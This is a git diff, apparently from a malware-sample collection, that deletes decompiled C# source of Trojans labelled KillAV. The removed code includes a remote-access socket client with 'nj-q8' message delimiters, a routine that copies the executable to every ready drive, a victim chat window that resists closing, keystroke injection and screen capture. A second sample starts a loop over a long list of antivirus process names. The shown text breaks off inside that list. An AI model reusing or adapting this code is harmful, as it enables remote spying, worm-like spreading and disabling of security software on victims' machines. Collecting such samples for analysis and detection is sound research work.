SocketsClient.onDisconnectEventHandler onDisconnectEvent = this.onDisconnectEvent; - if (onDisconnectEvent != null) - onDisconnectEvent(); - ProjectData.ClearProjectError(); - } - } - - public void SendData(byte[] Data) - { - try - { - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Data, 0, Data.Length); - memoryStream.Write(this.Spl, 0, this.Spl.Length); - memoryStream.ToArray(); - SocketsClient.client.Send(memoryStream.ToArray(), memoryStream.ToArray().Length, SocketFlags.None); - memoryStream.Dispose(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void Disconnect() - { - try - { - SocketsClient.client.Shutdown(SocketShutdown.Both); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - SocketsClient.client.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public byte[] STB(string Data) => Encoding.Default.GetBytes(Data); - - public string BTS(byte[] Data) => Encoding.Default.GetString(Data); - - private void sockConnected(IAsyncResult ar) - { - try - { - if (!SocketsClient.client.Connected) - { - SocketsClient.onDisconnectEventHandler onDisconnectEvent = this.onDisconnectEvent; - if (onDisconnectEvent == null) - return; - onDisconnectEvent(); - } - else - { - SocketsClient.client.ReceiveBufferSize = 99999; - SocketsClient.client.ReceiveTimeout = -1; - SocketsClient.client.SendTimeout = -1; - SocketsClient.onConnectEventHandler onConnectEvent; - while (true) - { - do - { - Thread.Sleep(1); - if (SocketsClient.TH == null) - SocketsClient.TH = new Thread(new ThreadStart(this.DDD)); - if (SocketsClient.TH.ThreadState == ThreadState.Aborted | SocketsClient.TH.ThreadState == ThreadState.Unstarted | SocketsClient.TH.ThreadState == ThreadState.Stopped) - { - SocketsClient.TH = new Thread(new ThreadStart(this.DDD)); - SocketsClient.TH.Start(); - onConnectEvent = this.onConnectEvent; - if (onConnectEvent == null) - goto label_15; - else - goto label_11; - } - } - while (SocketsClient.TH.ThreadState != ThreadState.Running); - SocketsClient.TH.Abort(); - } -label_15: - return; -label_11: - onConnectEvent(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - SocketsClient.onDisconnectEventHandler onDisconnectEvent = this.onDisconnectEvent; - if (onDisconnectEvent != null) - onDisconnectEvent(); - ProjectData.ClearProjectError(); - } - } - - public Array fx(ref byte[] buf) - { - Array[] arrayArray = new Array[2]; - MemoryStream memoryStream1 = new MemoryStream(); - string Right = "nj-q8"; - byte[] bytes = new byte[5]; - int num = checked (buf.Length - Right.Length); - int count = 0; - Array array; - while (count <= num) - { - bytes[0] = buf[count]; - bytes[1] = buf[checked (count + 1)]; - bytes[2] = buf[checked (count + 2)]; - bytes[3] = buf[checked (count + 3)]; - bytes[4] = buf[checked (count + 4)]; - if (Operators.CompareString(Encoding.Default.GetString(bytes), Right, false) == 0) - { - memoryStream1.Dispose(); - MemoryStream memoryStream2 = new MemoryStream(); - MemoryStream memoryStream3 = new MemoryStream(); - memoryStream2.Write(buf, 0, count); - if (checked (count + 5) != buf.Length) - { - memoryStream3.Write(buf, checked (count + 5), checked (buf.Length - count + 5)); - array = (Array) new object[2] - { - (object) memoryStream2.ToArray(), - (object) memoryStream3.ToArray() - }; - break; - } - array = (Array) new object[1] - { - (object) memoryStream2.ToArray() - }; - break; - } - checked { ++count; } - } - return array; - } - - public void DDD() - { - MemoryStream memoryStream = new MemoryStream(); -label_1: - int num; - checked { ++num; } - Thread.Sleep(5); - try - { - if (num > 200) - { - try - { - if (SocketsClient.client.Poll(-1, SelectMode.SelectRead) & SocketsClient.client.Available <= 0) - { - MyProject.Forms.B.Dis(); - return; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - MyProject.Forms.B.Dis(); - ProjectData.ClearProjectError(); - return; - } - num = 0; - } - if (SocketsClient.client.Available > 0) - { - byte[] buffer = new byte[checked (SocketsClient.client.Available - 1 + 1)]; - SocketsClient.client.Receive(buffer, buffer.Length, SocketFlags.None); - memoryStream.Write(buffer, 0, buffer.Length); - while (true) - { - if (Strings.InStr(this.BTS(memoryStream.ToArray()), "nj-q8") > 0) - { - byte[] array = memoryStream.ToArray(); - Array Instance = this.fx(ref array); - new Thread((ParameterizedThreadStart) (a0 => this.EFE((byte[]) a0))).Start(RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null))); - memoryStream = new MemoryStream(); - if (Instance.Length == 2) - memoryStream.Write((byte[]) NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null), 0, Conversions.ToInteger(NewLateBinding.LateGet(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null), (System.Type) null, "length", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null))); - else - goto label_1; - } - else - goto label_1; - } - } - else - goto label_1; - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - try - { - MyProject.Forms.B.Dis(); - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - } - - public void EFE(byte[] B) - { - SocketsClient.onDataArrivalEventHandler dataArrivalEvent = this.onDataArrivalEvent; - if (dataArrivalEvent == null) - return; - dataArrivalEvent(B, checked (B.Length - 1)); - } - - public bool Connected() - { - bool flag; - try - { - flag = SocketsClient.client.Connected; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - flag = false; - ProjectData.ClearProjectError(); - } - return flag; - } - - public delegate void onConnectEventHandler(); - - public delegate void onErrorEventHandler(string Description); - - public delegate void onDataArrivalEventHandler(byte[] Data, int TotalBytes); - - public delegate void onDisconnectEventHandler(); - - public delegate void onSendCompleteEventHandler(int DataSize); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/USB.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/USB.cs deleted file mode 100644 index 4d2073f4..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/USB.cs +++ /dev/null @@ -1,57 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.USB -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.IO; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - [StandardModule] - public sealed class USB - { - public static void USb(string S) - { - while (true) - { - Thread.Sleep(5000); - try - { - DriveInfo[] drives = DriveInfo.GetDrives(); - int index = 0; - while (index < drives.Length) - { - DriveInfo driveInfo = drives[index]; - if (driveInfo.IsReady) - { - if (driveInfo.TotalFreeSpace > 0L) - { - try - { - File.Copy(Application.ExecutablePath, driveInfo.Name + S, true); - File.SetAttributes(driveInfo.Name + S, FileAttributes.Normal); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - checked { ++index; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/chat.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/chat.cs deleted file mode 100644 index 5478baaf..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/chat.cs +++ /dev/null @@ -1,317 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.chat -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using n.My; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Runtime.CompilerServices; -using System.Windows.Forms; - -namespace n -{ - [DesignerGenerated] - public class chat : Form - { - private IContainer components; - [AccessedThroughProperty("T2")] - private TextBox _T2; - [AccessedThroughProperty("B1")] - private Button _B1; - [AccessedThroughProperty("Timer1")] - private Timer _Timer1; - [AccessedThroughProperty("T1")] - private RichTextBox _T1; - public static bool clos; - public string nick; - - public chat() - { - this.SizeChanged += new EventHandler(this.chat_SizeChanged); - this.Load += new EventHandler(this.chat_Load); - this.FormClosing += new FormClosingEventHandler(this.chat_FormClosing); - this.Resize += new EventHandler(this.chat_Resize); - this.MaximizedBoundsChanged += new EventHandler(this.chat_MaximizedBoundsChanged); - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.components = (IContainer) new System.ComponentModel.Container(); - this.T2 = new TextBox(); - this.B1 = new Button(); - this.Timer1 = new Timer(this.components); - this.T1 = new RichTextBox(); - this.SuspendLayout(); - this.T2.BackColor = SystemColors.WindowText; - this.T2.ForeColor = SystemColors.InactiveCaption; - TextBox t2_1 = this.T2; - Point point1 = new Point(12, 364); - Point point2 = point1; - t2_1.Location = point2; - this.T2.Name = "T2"; - TextBox t2_2 = this.T2; - Size size1 = new Size(450, 20); - Size size2 = size1; - t2_2.Size = size2; - this.T2.TabIndex = 2; - this.B1.FlatStyle = FlatStyle.Flat; - Button b1_1 = this.B1; - point1 = new Point(468, 364); - Point point3 = point1; - b1_1.Location = point3; - this.B1.Name = "B1"; - Button b1_2 = this.B1; - size1 = new Size(133, 23); - Size size3 = size1; - b1_2.Size = size3; - this.B1.TabIndex = 3; - this.B1.Text = "Send"; - this.B1.UseVisualStyleBackColor = true; - this.Timer1.Enabled = true; - this.T1.BackColor = SystemColors.WindowText; - this.T1.ForeColor = SystemColors.InactiveCaption; - RichTextBox t1_1 = this.T1; - point1 = new Point(12, 12); - Point point4 = point1; - t1_1.Location = point4; - this.T1.Name = "T1"; - this.T1.ReadOnly = true; - RichTextBox t1_2 = this.T1; - size1 = new Size(450, 346); - Size size4 = size1; - t1_2.Size = size4; - this.T1.TabIndex = 4; - this.T1.Text = ""; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.BackColor = SystemColors.InactiveCaptionText; - size1 = new Size(476, 227); - this.ClientSize = size1; - this.Controls.Add((Control) this.T1); - this.Controls.Add((Control) this.B1); - this.Controls.Add((Control) this.T2); - this.Name = nameof (chat); - this.ShowIcon = false; - this.StartPosition = FormStartPosition.CenterScreen; - this.Text = nameof (chat); - this.ResumeLayout(false); - this.PerformLayout(); - } - - internal virtual TextBox T2 - { - get => this._T2; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.T2_TextChanged); - KeyPressEventHandler pressEventHandler = new KeyPressEventHandler(this.T2_KeyPress); - if (this._T2 != null) - { - this._T2.TextChanged -= eventHandler; - this._T2.KeyPress -= pressEventHandler; - } - this._T2 = value; - if (this._T2 == null) - return; - this._T2.TextChanged += eventHandler; - this._T2.KeyPress += pressEventHandler; - } - } - - internal virtual Button B1 - { - get => this._B1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.B1_Click); - if (this._B1 != null) - this._B1.Click -= eventHandler; - this._B1 = value; - if (this._B1 == null) - return; - this._B1.Click += eventHandler; - } - } - - internal virtual Timer Timer1 - { - get => this._Timer1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer1_Tick); - if (this._Timer1 != null) - this._Timer1.Tick -= eventHandler; - this._Timer1 = value; - if (this._Timer1 == null) - return; - this._Timer1.Tick += eventHandler; - } - } - - internal virtual RichTextBox T1 - { - get => this._T1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.T1_TextChanged); - if (this._T1 != null) - this._T1.TextChanged -= eventHandler; - this._T1 = value; - if (this._T1 == null) - return; - this._T1.TextChanged += eventHandler; - } - } - - private void chat_FormClosing(object sender, FormClosingEventArgs e) - { - if (chat.clos) - return; - e.Cancel = true; - } - - private void chat_Resize(object sender, EventArgs e) => this.fx(); - - private void chat_MaximizedBoundsChanged(object sender, EventArgs e) => this.fx(); - - public void fx() - { - try - { - this.T1.Width = checked (this.Width - 40); - this.T2.Width = checked (this.B1.Left - 20); - this.T2.Top = checked (this.Height - this.T2.Height - 50); - this.T1.Height = checked (this.T2.Top - 20); - this.B1.Left = checked (this.T1.Width - this.B1.Width + 12); - this.B1.Top = checked (this.T2.Top - 3); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void T2_KeyPress(object sender, KeyPressEventArgs e) - { - if (Strings.Asc(e.KeyChar) != 13) - return; - try - { - if (this.T2.Text.Length <= 0) - return; - B b = MyProject.Forms.B; - string y = IND.Y; - TextBox t2 = this.T2; - string text = t2.Text; - string str1 = API.ENB(ref text); - t2.Text = text; - string str2 = "#21" + y + str1; - ref string local = ref str2; - b.SEND(ref local); - RichTextBox t1 = this.T1; - t1.Text = t1.Text + "Me : " + this.T2.Text + "\r\n"; - this.T2.Text = ""; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void chat_SizeChanged(object sender, EventArgs e) => this.fx(); - - private void chat_Load(object sender, EventArgs e) - { - try - { - B b = MyProject.Forms.B; - string str = "#20"; - ref string local = ref str; - b.SEND(ref local); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.TopMost = true; - this.Show(); - } - - private void B1_Click(object sender, EventArgs e) - { - try - { - if (this.T2.Text.Length <= 0) - return; - B b = MyProject.Forms.B; - string y = IND.Y; - TextBox t2 = this.T2; - string text = t2.Text; - string str1 = API.ENB(ref text); - t2.Text = text; - string str2 = "#21" + y + str1; - ref string local = ref str2; - b.SEND(ref local); - RichTextBox t1 = this.T1; - t1.Text = t1.Text + "Me : " + this.T2.Text + "\r\n"; - this.T2.Text = ""; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void T2_TextChanged(object sender, EventArgs e) - { - } - - private void Timer1_Tick(object sender, EventArgs e) - { - if (!chat.clos) - return; - this.Close(); - } - - private void T1_TextChanged(object sender, EventArgs e) - { - try - { - this.T1.SelectionStart = checked (this.T1.Text.Length - 1); - this.T1.ScrollToCaret(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/chat.resx b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/chat.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/chat.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/keyboard.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/keyboard.cs deleted file mode 100644 index 10d2f1d4..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/keyboard.cs +++ /dev/null @@ -1,81 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.keyboard -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace n -{ - [StandardModule] - public sealed class keyboard - { - public static void click(int i, Keys key) - { - keyboard.INPUT pInputs = new keyboard.INPUT(); - keyboard.KEYBDINPUT keybdinput = new keyboard.KEYBDINPUT(); - pInputs.dwType = keyboard.InputType.Keyboard; - pInputs.ki = keybdinput; - pInputs.ki.wVk = Convert.ToInt16((int) key); - pInputs.ki.wScan = (short) 0; - pInputs.ki.time = 0; - pInputs.ki.dwFlags = (keyboard.KEYEVENTF) i; - pInputs.ki.dwExtraInfo = IntPtr.Zero; - int cbSize = Marshal.SizeOf(typeof (keyboard.INPUT)); - if (keyboard.SendInput(1, ref pInputs, cbSize) != 0) - ; - } - - [DllImport("user32.dll", SetLastError = true)] - internal static extern int SendInput(int cInputs, ref keyboard.INPUT pInputs, int cbSize); - - [StructLayout(LayoutKind.Explicit, Size = 28, Pack = 1)] - internal struct INPUT - { - [FieldOffset(0)] - public keyboard.InputType dwType; - [FieldOffset(4)] - public keyboard.KEYBDINPUT ki; - [FieldOffset(4)] - public keyboard.HARDWAREINPUT hi; - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] - internal struct KEYBDINPUT - { - public short wVk; - public short wScan; - public keyboard.KEYEVENTF dwFlags; - public int time; - public IntPtr dwExtraInfo; - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] - internal struct HARDWAREINPUT - { - public int uMsg; - public short wParamL; - public short wParamH; - } - - internal enum InputType - { - Mouse, - Keyboard, - Hardware, - } - - [Flags] - internal enum KEYEVENTF - { - EXTENDEDKEY = 1, - KEYUP = 2, - UNICODE = 4, - SCANCODE = 8, - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/sc.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/sc.cs deleted file mode 100644 index cd3b059f..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/sc.cs +++ /dev/null @@ -1,185 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.sc -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using Microsoft.VisualBasic.CompilerServices; -using n.My; -using System; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Windows.Forms; - -namespace n -{ - [StandardModule] - internal sealed class sc - { - public static string HW = ""; - private static bool _0; - private static int H; - private static int W; - private static int HH; - private static int WW; - - public static string HWD() - { - if (sc.HW.Length > 0) - return sc.HW; - try - { - byte[] hwd = n.My.Resources.Resources.HWD; - bool flag = false; - ref bool local1 = ref flag; - byte[] numArray = API.ZIP(hwd, ref local1); - ref byte[] local2 = ref numArray; - string str1 = "n.C"; - ref string local3 = ref str1; - string str2 = nameof (HWD); - ref string local4 = ref str2; - object obj = (object) null; - ref object local5 = ref obj; - sc.HW = Conversions.ToString(C.inv(ref local2, ref local3, ref local4, ref local5)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - sc.HW = "Er"; - ProjectData.ClearProjectError(); - } - return sc.HW; - } - - public static byte[] gc(ref int Q) - { - if (!sc._0) - { - sc._0 = true; - sc.H = MyProject.Computer.Screen.Bounds.Height; - sc.W = MyProject.Computer.Screen.Bounds.Width; - } - int num; - switch (Q) - { - case 0: - num = 30; - sc.HH = 1; - sc.WW = 1; - break; - case 1: - num = 25; - sc.HH = 1; - sc.WW = 1; - break; - case 2: - num = 20; - sc.HH = 1; - sc.WW = 1; - break; - case 3: - num = 65; - sc.HH = 2; - sc.WW = 2; - break; - case 4: - num = 50; - sc.HH = 2; - sc.WW = 2; - break; - case 5: - num = 70; - sc.HH = 3; - sc.WW = 3; - break; - case 6: - num = 40; - sc.HH = 3; - sc.WW = 3; - break; - case 7: - num = 50; - sc.HH = 4; - sc.WW = 4; - break; - case 8: - num = 50; - sc.HH = 5; - sc.WW = 5; - break; - case 9: - num = 50; - sc.HH = 6; - sc.WW = 6; - break; - case 10: - num = 50; - sc.HH = 9; - sc.WW = 9; - break; - } - MemoryStream memoryStream = new MemoryStream(); - EncoderParameters encoderParams = new EncoderParameters(1); - encoderParams.Param[0] = new EncoderParameter(Encoder.Quality, (long) num); - ImageCodecInfo encoderInfo = sc.GetEncoderInfo("image/jpeg"); - sc.Gd(checked ((int) Math.Round(unchecked ((double) sc.W / (double) sc.WW))), checked ((int) Math.Round(unchecked ((double) sc.H / (double) sc.HH)))).Save((Stream) memoryStream, encoderInfo, encoderParams); - return memoryStream.ToArray(); - } - - public static ImageCodecInfo GetEncoderInfo(string M) - { - ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); - int length = imageEncoders.Length; - int index = 0; - while (index <= length) - { - if (Operators.CompareString(imageEncoders[index].MimeType, M, false) == 0) - return imageEncoders[index]; - checked { ++index; } - } - return (ImageCodecInfo) null; - } - - public static Image Gd(int Wi = 0, int He = 0, bool Sh = true) - { - Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); - Graphics graphics1 = Graphics.FromImage((Image) bitmap); - Graphics graphics2 = graphics1; - Size size1; - ref Size local1 = ref size1; - int width = Screen.PrimaryScreen.Bounds.Width; - Rectangle bounds = Screen.PrimaryScreen.Bounds; - int height = bounds.Height; - local1 = new Size(width, height); - Size blockRegionSize = size1; - graphics2.CopyFromScreen(0, 0, 0, 0, blockRegionSize, CopyPixelOperation.SourceCopy); - if (Sh) - { - try - { - Cursor cursor = Cursors.Default; - Graphics g = graphics1; - ref Rectangle local2 = ref bounds; - Point position = Cursor.Position; - size1 = new Size(32, 32); - Size size2 = size1; - local2 = new Rectangle(position, size2); - Rectangle targetRect = bounds; - cursor.Draw(g, targetRect); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - graphics1.Dispose(); - if (Wi == 0 & He == 0) - return (Image) bitmap; - Image thumbnailImage = bitmap.GetThumbnailImage(Wi, He, (Image.GetThumbnailImageAbort) null, IntPtr.Zero); - bitmap.Dispose(); - return thumbnailImage; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/AssemblyInfo.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/AssemblyInfo.cs deleted file mode 100644 index 49c15f6c..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/AssemblyInfo.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: Guid("ef734abf-6273-472c-ab64-4f2fb14840cc")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: ComVisible(false)] -[assembly: AssemblyCopyright("Copyright © Xo0 ")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Form1.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Form1.cs deleted file mode 100644 index 6e4d617c..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Form1.cs +++ /dev/null @@ -1,32 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: test.Form1 -// Assembly: test, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 25B95BEA-03B3-447D-99C0-543369BA88DF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2.exe - -using System.ComponentModel; -using System.Windows.Forms; - -namespace test -{ - public class Form1 : Form - { - private IContainer components; - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - private void InitializeComponent() - { - this.components = (IContainer) new Container(); - this.AutoScaleMode = AutoScaleMode.Font; - this.Text = nameof (Form1); - } - - public Form1() => this.InitializeComponent(); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Program.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Program.cs deleted file mode 100644 index e8728135..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Program.cs +++ /dev/null @@ -1,468 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: test.Program -// Assembly: test, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 25B95BEA-03B3-447D-99C0-543369BA88DF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2.exe - -using System; -using System.Diagnostics; -using System.Threading; - -namespace test -{ - internal static class Program - { - [STAThread] - private static void Main() - { - for (int index = 10; index >= 5; ++index) - { - Thread.Sleep(800); - try - { - string[] strArray = new string[424] - { - "ACKWIN32", - "ADAWARE", - "ADVXDWIN", - "AGENTSVR", - "AGENTW ", - "ALERTSVC", - "ALEVIR", - "ALOGSERV", - "AMON9X ", - "ANTI-TROJAN", - "ANTIVIRUS ", - "ANTS ", - "APIMONITOR", - "APLICA32 ", - "APVXDWIN ", - "ARR ", - "ATCON", - "ATRO55EN", - "ATUPDATER", - "ATUPDATER ", - "ATWATCH ", - "AU ", - "AUPDATE", - "AUPDATE ", - "AUTODOWN ", - "AUTODOWN", - "AUTOTRACE ", - "AUTOTRACE ", - "AUTOUPDATE ", - "AUTOUPDATE ", - "AVCONSOL ", - "AVE32 ", - "AVGCC32", - "AVGCTRL", - "AVGNT ", - "AVGSERV", - "AVGSERV9", - "AVGW ", - "AVKPOP", - "AVKSERV", - "AVKSERVICE", - "AVKWCTl9 ", - "AVLTMAIN ", - "AVNT ", - "AVP ", - "AVP32", - "AVPCC ", - "AVPDOS32", - "AVPM ", - "AVPTC32", - "AVPUPD ", - "AVPUPD ", - "AVSCHED32", - "AVSYNMGR", - "AVWINNT ", - "AVWUPD ", - "AVWUPD32", - "AVWUPD32 ", - "AVWUPSRV ", - "AVXMONITOR9X", - "AVXMONITORNT ", - "AVXQUAR ", - "AVXQUAR ", - "BACKWEB ", - "BARGAINS ", - "BD_PROFESSIONAL", - "BEAGLE", - "BELT ", - "BIDEF ", - "BIDSERVER", - "BIPCP", - "BIPCPEVALSETUP ", - "BISP", - "BLACKD", - "BLACKICE", - "BLSS", - "BOOTCONF", - "BOOTWARN", - "BORG2 ", - "BPC ", - "BRASIL", - "BS120", - "BUNDLE", - "BVT ", - "CCAPP", - "CCEVTMGR", - "CCPXYSVC ", - "CDP ", - "CFD", - "CFGWIZ", - "CFIADMIN", - "CFIAUDIT", - "CFINET", - 